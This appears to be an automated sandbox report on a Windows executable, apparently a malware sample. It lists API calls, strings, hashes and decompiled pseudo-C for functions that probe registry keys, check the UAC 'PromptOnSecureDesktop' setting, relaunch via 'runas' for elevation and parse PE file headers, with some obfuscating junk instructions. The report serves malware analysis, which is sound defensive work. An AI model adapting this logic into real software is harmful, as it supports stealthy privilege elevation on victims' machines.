0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,74E043E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,74E043E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,74E043E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,Ct,?,74E043E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(Ct,00000000,?,?,00000000,?,?,?), ref: 0040719E
RegCloseKey.KERNELBASE(?,?,74E043E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(?), ref: 00407208
RegCloseKey.ADVAPI32(?), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(?), ref: 004072D0
RegCloseKey.ADVAPI32(?), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(?), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

Ct, xrefs: 00407093, 0040719B, 00407096
, xrefs: 00407061
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $PromptOnSecureDesktop$Ct
API String ID: 4293430545-65454257
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 284
registryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				int _t94;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				_t94 = E00406EDD(); // executed
				 *(_t168 + 0x5c) = _t94;
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78); // executed
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50)); // executed
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094a7
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.KERNELBASE(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

Mt, xrefs: 0040936E
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas$Mt
API String ID: 3696105349-441857510
Opcode ID: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

